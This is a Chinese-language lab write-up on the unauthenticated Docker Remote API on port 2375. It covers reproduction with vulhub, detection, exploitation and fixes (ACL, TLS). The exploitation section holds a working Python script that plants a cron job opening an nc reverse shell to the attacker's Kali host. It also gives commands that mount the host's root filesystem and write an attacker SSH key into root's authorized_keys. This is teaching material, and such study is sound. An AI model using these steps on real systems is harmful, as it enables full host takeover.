01 漏洞成因
如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制的话,攻击者就可以通过Docker未授权来控制服务器
02 漏洞搭建
在这里使用vulhub直接进行复现
docker-compose build
docker-compose up -d
漏洞搭建完成
03 漏洞检测
可以使用命令行验证当前的漏洞是否存在
docker -H tcp://*.*.*.*:2375 images
或者
来证明存在漏洞
http://127.0.0.1:2375/version
http://127.0.0.1:2375/info
04 漏洞利用
因为主机是mac,然后在里面启用了一个docker,然后再里面又启用了一个docker,所以这里是无法使用替换密钥的方法来登陆第二层docker的
所以在这里直接使用脚本利用计划任务来反弹shell
这里尝试一个反弹shell的操作:
其中10.211.55.23
是Kali的ip地址
10.211.55.2
是docekr的未授权端口
import docker client = docker.DockerClient(base_url='http://10.211.55.2:2375/')print(client)data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 10.211.55.23 6666 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
这里将shell弹到kali上
当这个脚本在mac上执行完成之后,大概需要很长的时间会返回一个shell回来
05 实战
这里来模拟测试开启Docker API未授权之后,使用密钥登陆受害者机器
5.1 配置Docker支持远程访问
在这里使用我自己的阿里云主机进行测试
首先要配置docker
支持远程访问
进行文件备份
cp /lib/systemd/system/docker.service /lib/systemd/system/docker.service.bak
然后编辑
vim /lib/systemd/system/docker.service
在文件的末尾增加以下代码
[Service]ExecStart=ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
保存并退出编辑后,重载守护进程以及重启Docker:
sudo systemctl daemon-reload sudo service docker restart
通过执行命令查看是否开放了远程访问端口:
systemctl status docker.service
在这里还可以输入docker info 查看
5.2 写入密钥
以下我将vps地址用127.0.0.1进行了替换
在本地执行命令:
查看远程vps的镜像
docker -H tcp://127.0.0.1:2375 images
这时候发现并没有运行的容器,那么来测试下
查看远程vps是否运行了容器
docker -H tcp://127.0.0.1:2375 ps
在这里拉取一个镜像文件busybox
因为这个镜像很小,但是命令很全
docker -H tcp://127.0.0.1:2375 pull busybox
然后运行该镜像
docker -H tcp://127.0.0.1:2375 run -it -v /:/mnt 69593048aa3a /bin/bash
69593048aa3a
为Image ID
这条命令的意思是启动一个image ID 为69593048aa3a
的容器,并且将该宿主机的根目录挂在到容器的/mnt
目录下
启动之后就会获得该容器宿主机的shell
然后直接cd mnt/root/
看到了我的服务器上的root下的文件
cd .ssh
在这里要将服务器里面的authorized_keys
文件进行备份,一定要记住!!!
在本地生成一个公私钥,这里以Mac环境为例
在桌面新建了一个ssh的文件夹,将生成的公钥保存在里面
注意在生成的密钥要保存的位置我这里是自定义的,如果不是自定义的话,可以一路回车,自定义的话,第一个要写文件路径,后面的也可以一路回车,然后在.ssh
路径下获取文件(非自定义路径保存)
生成:ssh-keygen -t rsa
看下生成的文件,有两个
id_rsa
id_rsa.pub
再回到远程主机上来
使用echo指令将公钥写进去
直接远程连接
ssh -i id_rsa root@127.0.0.1
登陆成功。
5.3 关闭Docker API未授权
将我们的authorized_keys
文件删除,将原来的文件复位
rm authorized_keysmv authorized_keys.bak authorized_keys
然后再去处理配置文件
rm /lib/systemd/system/docker.service # 将备份文件重命名 mv /lib/systemd/system/docker.service.bak /lib/systemd/system/docker.service # 重载重启操作 systemctl daemon-reload service docker restart
然后再用docker info
看下
警告信息没了
再试试连接下
可以了
06 修复方法
- 设置ACL,只允许信任的IP端口连接对应端口
- 开启TLS,使用生成的证书进行认证